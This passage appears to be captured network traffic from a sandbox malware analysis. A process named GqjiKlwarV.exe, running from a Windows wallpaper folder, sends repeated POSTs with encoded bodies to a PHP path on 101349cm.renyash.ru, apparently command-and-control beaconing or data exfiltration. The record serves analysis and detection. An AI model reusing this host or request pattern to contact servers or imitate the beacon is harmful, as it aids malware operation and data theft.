Jan 1, 2025 15:17:31.561856985 CET	1056	OUT	Data Raw: 54 53 54 5e 5f 56 52 59 59 5b 5a 5a 52 59 5b 5e 55 55 5a 56 57 5e 5b 5d 5b 59 59 53 54 53 5f 5b 5a 5c 57 43 56 5d 52 57 58 5d 5b 5c 58 5e 51 5d 5b 50 43 56 5a 5b 55 52 58 53 5e 56 59 59 5b 56 5b 58 5c 5d 5a 5e 59 5f 5b 5c 5c 5e 5d 5c 46 56 50 5f Data Ascii: TST^_VRYY[ZZRY[^UUZVW^[][YYSTS_[Z\WCV]RWX][\X^Q][PCVZ[URXS^VYY[V[X\]Z^Y_[\\^]\FVP_YRR\XATVQYYXYUYQYW^Y[[YUG^__ZUZ[WU^__VY\T]Z^YW^\XS_ZTRZV]TY@P]^RUTSSW_Y[_PUP_U_VFZY_WYR^S^UPUU\Z[XC\V]$;<#[&: "8(8+')%<"6&?(>='-:9]//_ ,
Jan 1, 2025 15:17:31.667845011 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 15:17:31.927000999 CET	809	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 14:17:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=pLdAHDSKGKPA5ObNn5ngHYYT4QnK0gTTT8nnyglegSY5vf8K13pk8go7d3CeIdji%2FGo5D%2BOXnowFyIEXwxhNCg%2FvAK%2BUJqQ3Kgt9f9lXrbOYqj%2FO2gHHhgIIjaGYGBTxionCE5DD"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb322249d8141f8-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2934&min_rtt=1646&rtt_var=3195&sent=2&recv=4&lost=0&retrans=0&sent_bytes=25&recv_bytes=1384&delivery_rate=122104&cwnd=222&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 30 55 57 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 40UW[0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.4	49771	104.21.38.84	80	5740	C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 15:17:32.056366920 CET	328	OUT	POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Host: 101349cm.renyash.ru Content-Length: 1056 Expect: 100-continue Connection: Keep-Alive
Jan 1, 2025 15:17:32.405633926 CET	1056	OUT	Data Raw: 51 55 51 55 5f 5a 52 59 59 5b 5a 5a 52 5e 5b 5d 55 5e 5a 5a 57 59 5b 5b 5b 59 59 53 54 53 5f 5b 5a 5c 57 43 56 5d 52 57 58 5d 5b 5c 58 5e 51 5d 5b 50 43 56 5a 5b 55 52 58 53 5e 56 59 59 5b 56 5b 58 5c 5d 5a 5e 59 5f 5b 5c 5c 5e 5d 5c 46 56 50 5f Data Ascii: QUQU_ZRYY[ZZR^[]U^ZZWY[[[YYSTS_[Z\WCV]RWX][\X^Q][PCVZ[URXS^VYY[V[X\]Z^Y_[\\^]\FVP_YRR\XATVQYYXYUYQYW^Y[[YUG^__ZUZ[WU^__VY\T]Z^YW^\XS_ZTRZV]TY@P]^RUTSSW_Y[_PUP_U_VFZY_WYR^S^UPUU\Z[XC\V]$E8,+Z$)\6'?8(>5P$\%V%/#P!!"1](#Z/9]//_ 0
Jan 1, 2025 15:17:32.499782085 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 15:17:32.778347015 CET	804	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 14:17:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=7mriBNnba%2BrrKJaZ1ry2TlZeqjYZMzGsuGbzz7Uk8C4uMkAZkcoUcS%2BpwmmUD83mFDIncuamJLEi7dz8sQ6yXvXQxF2kU3FGLEY8qGyIFP1yvgjm%2F7UgcFg5941w3l0oUBkxKFpu"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb32229ddde42d2-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=3971&min_rtt=1693&rtt_var=5191&sent=2&recv=4&lost=0&retrans=0&sent_bytes=25&recv_bytes=1384&delivery_rate=73304&cwnd=228&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 30 55 57 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 40UW[0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.4	49772	104.21.38.84	80	5740	C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 15:17:32.907730103 CET	328	OUT	POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Host: 101349cm.renyash.ru Content-Length: 1056 Expect: 100-continue Connection: Keep-Alive
Jan 1, 2025 15:17:33.265067101 CET	1056	OUT	Data Raw: 54 5c 54 54 5f 5e 52 5a 59 5b 5a 5a 52 59 5b 59 55 5e 5a 5a 57 58 5b 56 5b 59 59 53 54 53 5f 5b 5a 5c 57 43 56 5d 52 57 58 5d 5b 5c 58 5e 51 5d 5b 50 43 56 5a 5b 55 52 58 53 5e 56 59 59 5b 56 5b 58 5c 5d 5a 5e 59 5f 5b 5c 5c 5e 5d 5c 46 56 50 5f Data Ascii: T\TT_^RZY[ZZRY[YU^ZZWX[V[YYSTS_[Z\WCV]RWX][\X^Q][PCVZ[URXS^VYY[V[X\]Z^Y_[\\^]\FVP_YRR\XATVQYYXYUYQYW^Y[[YUG^__ZUZ[WU^__VY\T]Z^YW^\XS_ZTRZV]TY@P]^RUTSSW_Y[_PUP_U_VFZY_WYR^S^UPUU\Z[XC\V]$D8, 34Y5?_<(+>!P0=Q1,!"1'?/(=+/:9]//_ ,
Jan 1, 2025 15:17:33.358594894 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 15:17:33.534995079 CET	804	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 14:17:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Ea4OJjAYpUUT8kA9XZDupETwVGS8QBvCsEUnMNbW3bUxZi1DQ3mJ0lwjZufB%2F5DpyYsseP0RptToVnEGlUb%2FGPIV6ZufXLgXddz4u9UOnephh7GYAotIuOohmex3A%2FnARG7v31xM"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb3222f3e6f43d4-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2243&min_rtt=2175&rtt_var=951&sent=3&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=1384&delivery_rate=536962&cwnd=223&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 30 55 57 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 40UW[0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.4	49773	104.21.38.84	80	5740	C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 15:17:33.657401085 CET	328	OUT	POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Host: 101349cm.renyash.ru Content-Length: 1056 Expect: 100-continue Connection: Keep-Alive
Jan 1, 2025 15:17:34.014983892 CET	1056	OUT	Data Raw: 54 53 54 53 5f 5c 57 59 59 5b 5a 5a 52 59 5b 5c 55 5d 5a 5a 57 5a 5b 59 5b 59 59 53 54 53 5f 5b 5a 5c 57 43 56 5d 52 57 58 5d 5b 5c 58 5e 51 5d 5b 50 43 56 5a 5b 55 52 58 53 5e 56 59 59 5b 56 5b 58 5c 5d 5a 5e 59 5f 5b 5c 5c 5e 5d 5c 46 56 50 5f Data Ascii: TSTS_\WYY[ZZRY[\U]ZZWZ[Y[YYSTS_[Z\WCV]RWX][\X^Q][PCVZ[URXS^VYY[V[X\]Z^Y_[\\^]\FVP_YRR\XATVQYYXYUYQYW^Y[[YUG^__ZUZ[WU^__VY\T]Z^YW^\XS_ZTRZV]TY@P]^RUTSSW_Y[_PUP_U_VFZY_WYR^S^UPUU\Z[XC\V]',?+^0:<" (^7Z(>U325%/<<#[8*9]//_ ,
Jan 1, 2025 15:17:34.121975899 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 15:17:34.368278027 CET	802	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 14:17:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=vhtKVZRT1lVF59BRA3PObrhd91ZsTs8zmtPQfQFVZB8ILv1xZ2fmMwLbl2kr2AOw3NaPesXBPiMzcGa%2BG6qhhnTOHbpL8wm2gIdH0pZ9RXiHTUBrvuP2l2fUlWDE0IOWrJ%2BiCCgg"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb32233ef407287-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=3755&min_rtt=2019&rtt_var=4230&sent=3&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=1384&delivery_rate=91760&cwnd=190&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 30 55 57 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 40UW[0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.4	49775	104.21.38.84	80	5740	C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 15:17:35.518626928 CET	328	OUT	POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Host: 101349cm.renyash.ru Content-Length: 1328 Expect: 100-continue Connection: Keep-Alive
Jan 1, 2025 15:17:35.874438047 CET	1328	OUT	Data Raw: 54 54 54 51 5a 5a 52 5b 59 5b 5a 5a 52 59 5b 50 55 5a 5a 57 57 50 5b 5c 5b 59 59 53 54 53 5f 5b 5a 5c 57 43 56 5d 52 57 58 5d 5b 5c 58 5e 51 5d 5b 50 43 56 5a 5b 55 52 58 53 5e 56 59 59 5b 56 5b 58 5c 5d 5a 5e 59 5f 5b 5c 5c 5e 5d 5c 46 56 50 5f Data Ascii: TTTQZZR[Y[ZZRY[PUZZWWP[\[YYSTS_[Z\WCV]RWX][\X^Q][PCVZ[URXS^VYY[V[X\]Z^Y_[\\^]\FVP_YRR\XATVQYYXYUYQYW^Y[[YUG^__ZUZ[WU^__VY\T]Z^YW^\XS_ZTRZV]TY@P]^RUTSSW_Y[_PUP_U_VFZY_WYR^S^UPUU\Z[XC\V]'-/7Z0Z57+#<>%*%,$"%1Y?^(=?/:9]//_ ,
Jan 1, 2025 15:17:35.963228941 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 15:17:36.239012957 CET	968	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 14:17:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=btbsItjuTtlI%2BQEW%2FLxICD9%2FXqyVzF4ySuMOgZNnc%2Fl02ed4R2AK%2FZlq3yDGf2%2FzXFuBG%2BV1zLZLp%2FK931jrxCsH89n6vVR1xpln%2BaKUBAXqv0rSq2uwB1MQGBanrLfN7C%2BxFsHT"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb3223f7dac19b2-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2277&min_rtt=1947&rtt_var=1391&sent=3&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=1656&delivery_rate=318082&cwnd=148&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 39 38 0d 0a 02 1d 2e 53 22 14 31 5a 24 59 2f 03 38 11 29 1e 3f 5e 38 18 29 2f 25 5c 25 06 22 1c 3e 1c 07 57 22 17 30 0b 2b 02 29 57 24 2f 21 56 26 28 2e 5a 0d 1c 39 17 36 07 33 56 32 0c 29 57 24 5e 3d 5c 37 3e 29 01 22 05 02 00 26 04 22 12 26 5f 29 50 2e 00 0d 5a 3b 2d 3a 09 38 09 32 10 30 3f 23 50 0f 1f 20 0f 32 2e 31 1f 24 21 34 13 35 1d 27 0f 35 3a 2a 0a 23 39 33 0b 33 03 2e 59 24 28 07 0c 25 05 20 0b 21 2d 31 0b 33 22 2c 0a 33 18 2f 5d 21 0e 2c 55 03 3e 54 51 0d 0a 30 0d 0a 0d 0a Data Ascii: 98.S"1Z$Y/8)?^8)/%\%">W"0+)W$/!V&(.Z963V2)W$^=\7>)"&"&_)P.Z;-:820?#P 2.1$!45'5:*#933.Y$(% !-13",3/]!,U>TQ0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.4	49776	104.21.38.84	80	5740	C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 15:17:35.518779039 CET	328	OUT	POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Host: 101349cm.renyash.ru Content-Length: 1056 Expect: 100-continue Connection: Keep-Alive
Jan 1, 2025 15:17:35.874449015 CET	1056	OUT	Data Raw: 51 55 51 53 5f 5a 52 5b 59 5b 5a 5a 52 5c 5b 5e 55 54 5a 5c 57 59 5b 59 5b 59 59 53 54 53 5f 5b 5a 5c 57 43 56 5d 52 57 58 5d 5b 5c 58 5e 51 5d 5b 50 43 56 5a 5b 55 52 58 53 5e 56 59 59 5b 56 5b 58 5c 5d 5a 5e 59 5f 5b 5c 5c 5e 5d 5c 46 56 50 5f Data Ascii: QUQS_ZR[Y[ZZR\[^UTZ\WY[Y[YYSTS_[Z\WCV]RWX][\X^Q][PCVZ[URXS^VYY[V[X\]Z^Y_[\\^]\FVP_YRR\XATVQYYXYUYQYW^Y[[YUG^__ZUZ[WU^__VY\T]Z^YW^\XS_ZTRZV]TY@P]^RUTSSW_Y[_PUP_U_VFZY_WYR^S^UPUU\Z[XC\V]$A/[&)!)+#\(0:)%,'T5&,3?;,:9]//_
Jan 1, 2025 15:17:35.985129118 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 15:17:36.158505917 CET	806	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 14:17:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=z%2BHvNf69NhQKXH%2BYn9jxOM1r1JdQ7pGATQj70fvnP7aNi9YefP%2FjGeLORM5DXNARSDGKe2mzsLLWd9sk9qgLbx1Vl02%2FqJWHaJ6WORzdumNF1enXjkfbU0hcLfccq3L9IZ1IiBZn"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb3223f9e5b4257-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=4527&min_rtt=1735&rtt_var=6236&sent=2&recv=4&lost=0&retrans=0&sent_bytes=25&recv_bytes=1384&delivery_rate=60641&cwnd=214&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 30 55 57 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 40UW[0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.4	49777	104.21.38.84	80	5740	C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 15:17:36.282156944 CET	304	OUT	POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Host: 101349cm.renyash.ru Content-Length: 1048 Expect: 100-continue
Jan 1, 2025 15:17:36.640278101 CET	1048	OUT	Data Raw: 54 5c 51 54 5f 5e 57 5d 59 5b 5a 5a 52 5b 5b 5e 55 58 5a 5e 57 50 5b 58 5b 59 59 53 54 53 5f 5b 5a 5c 57 43 56 5d 52 57 58 5d 5b 5c 58 5e 51 5d 5b 50 43 56 5a 5b 55 52 58 53 5e 56 59 59 5b 56 5b 58 5c 5d 5a 5e 59 5f 5b 5c 5c 5e 5d 5c 46 56 50 5f Data Ascii: T\QT_^W]Y[ZZR[[^UXZ^WP[X[YYSTS_[Z\WCV]RWX][\X^Q][PCVZ[URXS^VYY[V[X\]Z^Y_[\\^]\FVP_YRR\XATVQYYXYUYQYW^Y[[YUG^__ZUZ[WU^__VY\T]Z^YW^\XS_ZTRZV]TY@P]^RUTSSW_Y[_PUP_U_VFZY_WYR^S^UPUU\Z[XC\V]',&98[5Y?/<-%P'"%?4"16]%;_(>;Z-:9]//_
Jan 1, 2025 15:17:36.814971924 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 15:17:37.157233000 CET	810	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 14:17:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=giOvRvsfOXRgvi8GeL0TobgAOnQhZZ%2B%2FRCh1pRRqblb24TAsqYS884XW%2BXeCrHlcF%2Bj%2FI7fx1rpzujEVRZ66pv3mGuGXJkpwwxnOWesfEEf3J8SndLo%2FGekGeJbwPgdORInOHZLe"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb322445aab423e-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=4588&min_rtt=1689&rtt_var=6432&sent=3&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=1352&delivery_rate=58672&cwnd=196&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 30 55 57 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 40UW[0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.4	49778	104.21.38.84	80	5740	C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 15:17:37.282489061 CET	328	OUT	POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Host: 101349cm.renyash.ru Content-Length: 1056 Expect: 100-continue Connection: Keep-Alive
Jan 1, 2025 15:17:37.646486044 CET	1056	OUT	Data Raw: 54 50 54 56 5f 5e 52 5d 59 5b 5a 5a 52 59 5b 5b 55 55 5a 5a 57 5e 5b 5d 5b 59 59 53 54 53 5f 5b 5a 5c 57 43 56 5d 52 57 58 5d 5b 5c 58 5e 51 5d 5b 50 43 56 5a 5b 55 52 58 53 5e 56 59 59 5b 56 5b 58 5c 5d 5a 5e 59 5f 5b 5c 5c 5e 5d 5c 46 56 50 5f Data Ascii: TPTV_^R]Y[ZZRY[[UUZZW^[][YYSTS_[Z\WCV]RWX][\X^Q][PCVZ[URXS^VYY[V[X\]Z^Y_[\\^]\FVP_YRR\XATVQYYXYUYQYW^Y[[YUG^__ZUZ[WU^__VY\T]Z^YW^\XS_ZTRZV]TY@P]^RUTSSW_Y[_PUP_U_VFZY_WYR^S^UPUU\Z[XC\V]'8#^&98X!?? ?*$:5S%<#1-1?\(X?/9]//_ ,
Jan 1, 2025 15:17:37.726305008 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 15:17:38.000798941 CET	807	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 14:17:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=yISY0P6w5wI7ogqGaJMxkeLKxVwEw57sMEE9%2BvHnCVIS3o26YLfg8Wsz2VjWrS7Smv8%2BHKMpN6ildOna9mAKfKcvtpZCewNongoXk6uADYYbiI3Kz%2FphNx60a4M0NthIz%2FXP5SwL"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb3224a8f3743cb-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=3078&min_rtt=1746&rtt_var=3319&sent=3&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=1384&delivery_rate=117713&cwnd=197&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 30 55 57 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 40UW[0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.4	49779	104.21.38.84	80	5740	C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 15:17:38.131031036 CET	328	OUT	POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Host: 101349cm.renyash.ru Content-Length: 1056 Expect: 100-continue Connection: Keep-Alive
Jan 1, 2025 15:17:38.483792067 CET	1056	OUT	Data Raw: 54 54 54 51 5f 59 52 5a 59 5b 5a 5a 52 59 5b 5c 55 5e 5a 5e 57 51 5b 58 5b 59 59 53 54 53 5f 5b 5a 5c 57 43 56 5d 52 57 58 5d 5b 5c 58 5e 51 5d 5b 50 43 56 5a 5b 55 52 58 53 5e 56 59 59 5b 56 5b 58 5c 5d 5a 5e 59 5f 5b 5c 5c 5e 5d 5c 46 56 50 5f Data Ascii: TTTQ_YRZY[ZZRY[\U^Z^WQ[X[YYSTS_[Z\WCV]RWX][\X^Q][PCVZ[URXS^VYY[V[X\]Z^Y_[\\^]\FVP_YRR\XATVQYYXYUYQYW^Y[[YUG^__ZUZ[WU^__VY\T]Z^YW^\XS_ZTRZV]TY@P]^RUTSSW_Y[_PUP_U_VFZY_WYR^S^UPUU\Z[XC\V]$E, '[6;\+'X+"'!V%?4!W"1?>89]//_ ,
Jan 1, 2025 15:17:38.575665951 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 15:17:38.840265989 CET	803	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 14:17:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=mUB7LfzTu2ROwhxpScKES7YnD7nX1WDhG2D6xefhCaOC5AH4PyJA5WQALMHNvh4k4JcKOyrC%2FZc17g0majEhI4VfhLPCJPmClS1kwDQ8l0qMkWi7Ur5Y3P%2FPO9zrq2f6vxJTECyO"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb3224fc9e07c87-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=8387&min_rtt=1901&rtt_var=13686&sent=3&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=1384&delivery_rate=27139&cwnd=208&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 30 55 57 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 40UW[0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.4	49780	104.21.38.84	80	5740	C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 15:17:38.970963955 CET	328	OUT	POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Host: 101349cm.renyash.ru Content-Length: 1048 Expect: 100-continue Connection: Keep-Alive
Jan 1, 2025 15:17:39.327477932 CET	1048	OUT	Data Raw: 51 52 54 55 5f 57 57 5d 59 5b 5a 5a 52 5b 5b 5a 55 55 5a 57 57 51 5b 5f 5b 59 59 53 54 53 5f 5b 5a 5c 57 43 56 5d 52 57 58 5d 5b 5c 58 5e 51 5d 5b 50 43 56 5a 5b 55 52 58 53 5e 56 59 59 5b 56 5b 58 5c 5d 5a 5e 59 5f 5b 5c 5c 5e 5d 5c 46 56 50 5f Data Ascii: QRTU_WW]Y[ZZR[[ZUUZWWQ[_[YYSTS_[Z\WCV]RWX][\X^Q][PCVZ[URXS^VYY[V[X\]Z^Y_[\\^]\FVP_YRR\XATVQYYXYUYQYW^Y[[YUG^__ZUZ[WU^__VY\T]Z^YW^\XS_ZTRZV]TY@P]^RUTSSW_Y[_PUP_U_VFZY_WYR^S^UPUU\Z[XC\V]$B-/$':8]"<+8'X+>)W02286!"Y1<^-*9]//_ (
Jan 1, 2025 15:17:39.454524994 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 15:17:39.716037035 CET	810	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 14:17:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=qzNNWmRIDQAM%2FuJPTKp%2B77J%2BfrRDGaPjNCPB9YGKNrtMHyOlg%2FSJDLeBq6nf0sRKueo0eETMOAmq7prbO8r%2FEsl462d2XDsc56O0VCHZ22c4FPtO%2F0GySA4C65mJzhoBMdzqp6IN"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb3225548e04408-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=4563&min_rtt=1751&rtt_var=6282&sent=2&recv=4&lost=0&retrans=0&sent_bytes=25&recv_bytes=1376&delivery_rate=60198&cwnd=200&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 30 55 57 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 40UW[0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.4	49781	104.21.38.84	80	5740	C:\Windows\Web\Wallpaper\Theme2\GqjiKlwarV.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 15:17:39.844899893 CET	328	OUT	POST /VideovmGamedefaultTestuniversalwp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Host: 101349cm.renyash.ru Content-Length: 1056 Expect: 100-continue Connection: Keep-Alive
